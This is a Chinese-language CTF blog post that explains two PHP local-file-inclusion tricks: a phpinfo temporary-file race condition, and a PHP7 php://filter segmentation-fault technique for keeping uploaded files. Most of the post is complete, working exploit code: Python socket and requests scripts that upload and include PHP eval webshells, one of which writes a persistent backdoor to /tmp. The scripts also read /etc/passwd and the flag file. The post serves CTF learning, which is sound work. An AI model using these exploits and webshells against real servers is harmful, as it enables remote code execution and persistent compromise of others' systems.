Sky's blog

Some Trick About LFI

字数统计: 1,754阅读时长: 8 min
2019/04/08 Share

前言

最近遇到一些文件包含的题目,在本篇文章记录两个trick~

环境背景

复现环境还是很容易搭建的:
例题1(php7)
index.php

1
2
3
4
5
6
7
8
<?php
$a = @$_GET['file'];
echo 'include $_GET[\'file\']';
if (strpos($a,'flag')!==false) {
die('nonono');
}
include $a;
?>

dir.php

1
2
3
4
5
6
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

例题2(php5)
index.php

1
2
3
4
5
6
7
8
<?php
$a = @$_GET['file'];
echo 'include $_GET[\'file\']';
if (strpos($a,'flag')!==false) {
die('nonono');
}
include $a;
?>

phpinfo.php

1
2
3
<?php
phpinfo();
?>

两道题的最终目标都是拿到根目录的flag

phpinfo+LFI

我们看到例题2:
我们有文件包含,那么我们可以轻易的用伪协议泄露源代码

1
file=php://filter/read=convert.base64-encode/resource=index.php

这是老生常谈的问题,无需多讲,重点在于如何去读取根目录的flag
最容易想到的是利用包含

1
http://ip/index.php?file=/flag

但是由于

1
2
3
if (strpos($a,'flag')!==false) {
die('nonono');
}

我们并不能进行读取,那么很容易想到,尝试getshell
这里我们可以介绍第一个trick,即利用phpinfo会打印上传缓存文件路径的特性,进行缓存文件包含达到getshell的目的。
我们简单写一个测试脚本

1
2
3
4
5
6
7
8
9
import requests
from io import BytesIO

files = {
'file': BytesIO("<?php echo 'sky is cool!';")
}
url = "http://ip/phpinfo.php"
r = requests.post(url=url, files=files, allow_redirects=False)
print r.content

可以看到回显中有如下内容

1
2
3
4
5
6
7
8
9
_FILES["file"]	
Array
(
[name] => test.txt
[type] => application/octet-stream
[tmp_name] => /tmp/phptZQ0xZ
[error] => 0
[size] => 26
)

我们只要利用这一特性,进行包含getshell即可
首先我们利用正则匹配,提取临时文件名

1
data = re.search(r"(?<=tmp_name] =&gt; ).*", r.content).group(0)


接下来就是条件竞争的问题:如何在文件临时文件消失前,包含到它
这里为了事半功倍,我搜集了一些资料和原理:
1.临时文件在phpinfo页面加载完毕后才会被删除
2.phpinfo页面会将所有数据都打印出来,包括header
3.php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
(来自ph牛:https://github.com/vulhub/vulhub/tree/master/php/inclusion)
那么我们的竞争流程可以总结为:
1.发送包含了webshell的上传数据包给phpinfo页面,同时在header中塞满垃圾数据。
2.因为phpinfo页面会将所有数据都打印出来,垃圾数据会加大phpinfo加载时间。
3.直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包。
4.此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除。
5.利用这个时间差,在第二个数据包进行文件包含漏洞的利用,即可成功包含临时文件,最终getshell
同时,对于webshell也有讲究,因为包含过程比较麻烦,如果使用一次性一句话木马

1
<?php @eval($_REQUEST[sky]);

则每次执行命令,都要进行一次包含,耗时耗力,所以我们选择包含后写入文件的shell

1
<?php file_put_contents('/tmp/sky', '<?php @eval($_REQUEST[sky]);?>');?>

这样一旦包含成功,该shell就会在tmp目录下永久留下一句话木马文件sky,下次利用直接轻松包含即可~
尝试进行exp编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103

import os
import socket
import sys

def init(host,port):
padding = 'sky'*2000
payload="""sky test!<?php file_put_contents('/tmp/sky', '<?php eval($_REQUEST[sky]);?>');?>\r"""

request1_data ="""------WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Disposition: form-data; name="file"; filename="test.php"\r
Content-Type: text/php\r
\r
%s
------WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Disposition: form-data; name="submit"\r
\r
Submit\r
------WebKitFormBoundary9MWZnWxBey8mbAQ8--\r
""" % payload

request1 = """POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: skypadding="""+padding+"""\r
Cache-Control: max-age=0\r
Upgrade-Insecure-Requests: 1\r
Origin: null\r
Accept: """ + padding + """\r
User-Agent: """+padding+"""\r
Accept-Language: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Length: %s\r
Host: %s:%s\r
\r
%s""" %(len(request1_data),host,port,request1_data)

request2 = """GET /index.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s:%s\r
\r
\r
"""
return (request1,request2)


def getOffset(host,port,request1):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(request1)

d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt; ")
if i == -1:
print 'not fonud'

print "found %s at %i" % (d[i:i+10],i)
return i+256

def phpinfo_LFI(host,port,offset,request1,request2):
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s1.connect((host,port))
s2.connect((host,port))

s1.send(request1)
d = ""
while len(d) < offset:
d += s1.recv(offset)
try:
i = d.index("[tmp_name] =&gt; ")
fn = d[i+17:i+31]
s2.send(request2 % (fn,host,port))
tmp = s2.recv(4096)
if tmp.find("sky test!") != -1:
return fn
except ValueError:
return None
s1.close()
s2.close()

attempts = 1000
host = "ip"
port = "port"
request1,request2 = init(host,port)
offset = getOffset(host,port,request1)
for i in range(1,attempts):
print "try:"+str(i)+"/"+str(attempts)
sys.stdout.flush()
res = phpinfo_LFI(host,port,offset,request1,request2)
if res is not None:
print 'You can getshell with /tmp/sky!'
break

编写还是非常容易的,知道原理后,其实不存在多少条件竞争,最多尝试个10次左右就可以达成目的
随后我们就可以轻松getshell

LFI+php7崩溃

前一题我们能做,得益于phpinfo的存在,但如果没有phpinfo的存在,我们就很难利用上述方法去getshell
但如果目标不存在phpinfo,应该如何处理呢?
这里可以用php7 segment fault特性
我们可以利用

1
http://ip/index.php?file=php://filter/string.strip_tags=/etc/passwd

这样的方式,使php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除:

这样就能达成我们getshell的目的,脚本相对容易很多:

加上我们有dir.php

1
2
3
4
5
6
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

可以进行目录列举,我们只要找到临时文件名即可:
编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
from io import BytesIO
import re

files = {
'file': BytesIO('<?php eval($_REQUEST[sky]);')
}
url = 'http://ip/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd'
try:
r = requests.post(url=url, files=files, allow_redirects=False)
except:
url = 'http://ip/dir.php'
r = requests.get(url)
data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)
url = "http://ip/index.php?file=/tmp/"+data
data = {
'sky':"readfile('/flag');"
}
r = requests.post(url=url,data=data)
print r.content

运行即可看到flag

1
2
➜  Desktop python myexp2.py
include $_GET['file']flag{LFI_php7~}

后记

两则还算使用的trick,先mark一下~

1
文章首发于嘶吼
点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. 环境背景
  3. 3. phpinfo+LFI
  4. 4. LFI+php7崩溃
  5. 5. 后记